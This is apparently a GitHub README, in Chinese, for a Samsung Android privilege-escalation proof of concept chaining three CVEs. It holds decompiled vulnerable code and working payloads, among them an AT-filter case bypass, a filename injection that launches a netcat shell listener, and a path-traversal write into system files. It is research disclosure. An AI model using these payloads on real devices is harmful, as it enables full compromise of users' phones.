Vikramaditya015/samsung-android-lpe

GitHub: Vikramaditya015/samsung-android-lpe

用于验证三星Android设备特定漏洞的PoC项目。

Stars: 5 | Forks: 3

# 第1部分:任意AT命令执行(CVE-2026-20980) 应用处理器(AP)命令在使用 unlock 设备切换连接模式后由 at_distributor 管理。 ``` AT+SWATD=0 AT+ACTIVATE=0,0,0 AT+SWATD=1 ``` at_distributor 通过 pacm_check_at_cmds 函数验证 AT 命令。 ``` void main(int32_t arg1, void* arg2) __noreturn { int32_t var_21b0 = arg1; data_42c170 = SignalHandler; sigemptyset(0x42c178); ... if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1) { SendToTerminal(&var_2160, __strlen_chk(&var_2160, 0x80) } else { __android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart"); ... } ... } ``` 函数逻辑位于 ``` ldd at_distributor libpacm_client.so => /system/lib64/libpacm_client.so ``` 函数 is_multiple_cmds 调用验证 AT 命令是否包含多个命令。 ``` uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2) { uint64_t x24 = _ReadMSR(tpidr_el0); int64_t x8 = *(x24 + 0x28); int32_t var_284; ... if (!arg1) { __android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0); x20_1 = var_284; ... } else { Command::set_command(&var_280); char var_2d0; void* var_2c0; if (var_2d0 & 1) operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe); int32_t x8_6; if (!Command::is_multiple_cmds()) { int32_t x0_13; int128_t v0_1; x0_13 = Command::preprocess_cmds(&var_280); ... } ... } } int64_t Command::is_multiple_cmds() { ... size_t x0 = strlen(" at+"); if (x0) { ... memcmp(x0_4, " at+", x0); ... } size_t x0_1 = strlen(" AT+"); if (x0_1) { ... memcmp(x0_7, " AT+", x0_1); ... } size_t x0_2 = strlen(" at+"); if (x0_2) { ... memcmp(x0_10, " at+", x0_2); ... } size_t x0_3 = strlen(" AT+"); if (x0_3) { ... memcmp(x0_13, " AT+", x0_3); ... } ... return 1; } ``` 因此,具有此有效负载的 AT 命令将失败。 ``` TX: AT+\nAT+VERSNAME=3,2,1 RX: +CME Error:PACM(AP),MULTIPLE_CMD ``` 但是 is_multiple_cmd 无法验证 "aT+" 或 "At+",因此受保护/未注册的命令得以执行。 ``` TX: AT+\naT+VERSNAME=1,3,0 (Note:AT+VERSNAME=1,3,0 is a protected command) RX: +VERSNAME:1,SM8550,SM8550 ``` # 第2部分:FacAtFunction 中任意系统命令执行(CVE-2026-20981) FacAtFunction(uid 1000)是一个系统应用,处理大部分 AP AT 命令, 特别是未注册的命令 `AT+CAMEAUTO` 此命令用于使用 shell 函数/exec 捕获屏幕。 ``` ... if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) { FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]); screenCapture(strArr[4]); FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1"); str = responseOK(strArr[0]); ... } public final void screenCapture(String str) { Process process; FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start"); ... String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg"; FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3); ?? r15 = {"/system/bin/sh", "-c", str3}; Process process2 = null; try { try { FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command"); process = Runtime.getRuntime().exec(r15); ... ... } ``` 文件名从用户处获取,但 screenCapture 函数未能对文件名进行清理。 由于我们可以从 **第1部分** 执行未注册的命令,因此它可以被执行。 ``` TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l; RX: OK ``` # 第3部分:ShortcutService 随意文件写入(CVE-2026-20982) 三星为 Smart Switch 实现了自定义恢复方法以恢复位图文件。 ``` public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) { enforceScloudBackupWritePermission(); try { ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor); FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2); byte[] bArr = new byte[1024]; while (true) { int read = autoCloseInputStream.read(bArr); if (read <= 0) { break; } openIconFileForWriteSmartSwitch.write(bArr, 0, read); } if (openIconFileForWriteSmartSwitch != null) { openIconFileForWriteSmartSwitch.close(); } autoCloseInputStream.close(); } catch (Exception unused) { } } public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) { File file = new File(getUserBitmapFilePath(i), str); if (!file.isDirectory()) { file.mkdirs(); if (!file.isDirectory()) { Slog.d("ShortcutService", "Unable to create directory " + file); throw new IOException("Unable to create directory " + file); } SELinux.restorecon(file); } File file2 = new File(file, str2); if (file2.exists()) { Slog.d("ShortcutService", "Unable to create file - already exists " + file2); throw new IOException("Unable to create file - already exists " + file2); } return new FileOutputStream(file2); } public final void enforceScloudBackupWritePermission() { injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null); } ``` restoreBitmapsFromBackupService 由权限 "com.samsung.android.scloud.backup.lib.write" 控制, 我们将使用 **第2部分** 中的 uid 1000,它具有调用该函数所需的权限。 这里它未能清理 str(directory) 和 str2(filename) 从路径遍历。 由于 ShortcutService 在 `system_server` 进程中运行,我们可以覆盖系统应用的基础.apk 或修改 packages.xml 以在 `system_server` 中获得代码执行。 # Proof of Concept * PoC/at.py 中包含所有三个 CVE 的完整链。 * PoC/CVE-2026-20982/Exploit.java 中 classes.dex 的源代码。 * [PoC 演示](PoC/Rec/poc.mp4)
标签:Android安全, AT命令执行, CVE, JS文件枚举, Maven, TLS抓取, UML, 安全测试, 安全漏洞, 安全漏洞修复, 安全漏洞公告, 安全漏洞分析, 安全漏洞利用原理, 安全漏洞利用工具, 安全漏洞利用技巧, 安全漏洞利用技术, 安全漏洞利用方法, 安全漏洞利用案例, 安全漏洞利用步骤, 安全漏洞利用流程, 安全漏洞利用过程, 安全漏洞响应, 安全漏洞报告, 安全漏洞管理, 安全漏洞防御, 攻击性安全, 数字签名, 漏洞分析, 漏洞利用代码, 漏洞复现, 漏洞验证, 路径探测, 软件安全